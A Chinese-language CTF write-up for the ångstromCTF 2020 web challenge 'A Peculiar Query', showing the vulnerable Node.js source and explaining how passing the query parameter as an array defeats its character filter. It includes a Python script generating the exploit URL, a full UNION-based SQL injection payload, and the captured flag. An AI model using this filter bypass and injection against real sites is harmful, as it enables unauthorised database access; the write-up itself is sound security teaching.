Author:颖奇L’Amore
Blog:www.gem-love.com
近日在参加🇺🇸ångstromCTF 2020时做了一个比较好的Node.js的题目
名称:A Peculiar Query
链接:https://peculiarquery.2020.chall.actf.co/
考点:Node.js代码审计、类型混淆污染、SQLi
难度:Medium
Code
是本次比赛质量比较高的一个题,打开之后是个搜索的界面,同时给了源码:
const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");
const client = new Client({
user: process.env.DBUSER,
host: process.env.DBHOST,
database: process.env.DBNAME,
password: process.env.DBPASS,
port: process.env.DBPORT
});
async function query(q) {
const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
return ret;
}
app.set("view engine", "ejs");
app.use(express.static("public"));
app.get("/src", (req, res) => {
res.sendFile(path.join(__dirname, "index.js"));
});
app.get("/", async (req, res) => {
if (req.query.q) {
try {
let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
} catch (err) {
console.log(err);
res.status(500);
res.render("home", {results: [], err: "aight wtf stop breaking things"});
}
} else {
res.render("home", {results: [], err: ""});
}
});
app.listen(port, function() {
client.connect();
console.log("App listening on port " + port);
});
首先,获取了参数q然后进行SQL查询,基本可以肯定是是个SQL注入题:
async function query(q) {
const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
return ret;
}
但是紧接着就是个waf,对q挨个字符判断,如果匹配到' - " .
就把后面都置为****:
let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
如果验证waf通过,就会截取q的前80位进行sql查询,输出查询结果:
q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
类型污染Bypass
和这个比赛同期开始的SuSeC CTF也考了类似的考点,在那篇wp里我写了比较详细了分析,参考:
可以看到,这个匹配危险字符是对字符串q的任何一个字符进行匹配。但是,谁规定q就是字符串了?
let q = req.query.q;
php题目的一个常规套路就是用数组去绕过哈希,因为PHP中的md5()
sha1()
等函数不能处理数组,如果传进参数为数组则返回false,false等于false故可以绕过比较。如果本题目中的q也是一个数组,那么这个遍历q的for()
循环的每一轮中,q[i]
就不再是一个单字符了,而有可能成为字符串。举个例子:
["y1ng","gem-love.com","sql ' and 1=1 ' inject"]
q[i]
就分别是y1ng、gem-love.com、sql ‘ and 1=1 ‘ inject,对于第三个元素,虽然里面有危险字符'
,然而对于字符串和字符是不满足==
的:
"'-\".".split``.some(v => v == q[i])
测试:
let q = ['y1ng','\\\\', " or '1'='1' ", 'a-a'];
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
console.log('waf!');
console.log(q[i]);
}
}
WAF被成功绕过。
类型问题
对危险字符判断后,对q进行了substring()
截取之后进行sql查询:
q = q.substring(0, 80);
那么数组substring()
截取得到的是什么呢?运行一下发现报错了:
TypeError: q.substring is not a function
这是因为substring()
方法是String对象的方法,而Array无substring()
方法,因此报错。
在SuSeC CTF那个Node.js的题目的wp中写了:数组+字符串=字符串,实际上JavaScript万物皆是字符串,函数、对象、字符串、数字相加,加出来都是字符串。正好,如果匹配到危险字符,就会拼接上*
,这样q就从Array变成了String
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
所以我们可以在数组中故意加上一个元素,让它被匹配成功,这样q就被转成了字符串,substring()
方法就不会报错了,测试:
let q = ['y1ng','\\\\', "'", 'a-a'];
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
console.log(q);
长度问题
虽然运行成功了,但是q的第一个元素y1ng却被做星号处理了:
这是因为数组的length和字符串的length不一样,SuSeC的wp里也写了,数组的length指的是数组元素个数,字符串length是字符的个数。这个q数组中的q[2]
被匹配,q被转为字符串"y1ng\\'a-a"
,现在q.length
变了,q[2]
也从一个数组的元素变成了字符n
,后面的字符被*
了,导致最后q输出为y1n********
本题目要进行SQL注入,因为这个length的原因注入的payload肯定会被*
掉,如何解决?
肯定的是,q[]
数组的第一个元素q[0]
是要用的payload。在遍历数组查找非法字符时,如果这个非法字符在数组中出现的位置(数组的index)与q[0]
(payload)的长度刚好匹配,就可以让整个payload都逃逸出来。比如让”y1ng
“逃逸出来:
let q = ['y1ng', 'a', 'a', "'"];
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
console.log(q);
说的再明白点就是:payload多长,就在第几个元素出现非法字符。比如y1ng长度为4,就在第4个元素(q[3]
)上放一个非法字符,这样y1ng就刚刚好逃逸出来。
SQL注入
可能有人就会问了:对于一个从query中得到的q,如何为q[]
数组添加元素?
其实很简单,只要?q[]=y1ng&q[]=a&q[]=a&q[]=a&q[]=a&q[]=a&q[]=a&q[]=a就可以了
所以写一个脚本来自动完成这些中间数组元素的填充:
# '''
# 颖奇L'Amore www.gem-love.com
# 转载请勿删除本水印
# '''
from urllib.parse import *
#your payload here
payload = "1' and 1=2 union select table_name from information_schema.tables--"
payload = quote(payload)
length = len(payload)
url = 'https://peculiarquery.2020.chall.actf.co/?q[]=' + payload
for i in range(0, length-2):
url += '&q[]=y1ng'
url += "&q[]="+quote("'")
print(url)
还有个问题就是substring(0, 80)
只截取了80个字符,所以一定要构造一下自己的payload,不要过长。还好题目能够把多行数据都返回并显示出来:
后面就注就完了,在脚本的payload处填上注入语句,什么过滤都没有,直接往出注就完了,最终的payload为:
https://peculiarquery.2020.chall.actf.co/?q[]=1%27%20and%201%3D2%20union%20select%20crime%20from%20criminals--&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=%27
flag:actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}
后记
- JavaScript中数组与字符串相加后返回字符串
- 数组的length和字符串的length不同
- 如果出现变量类型转换,则会导致var.length改变,引发某些安全问题
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/websecurity/2070.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示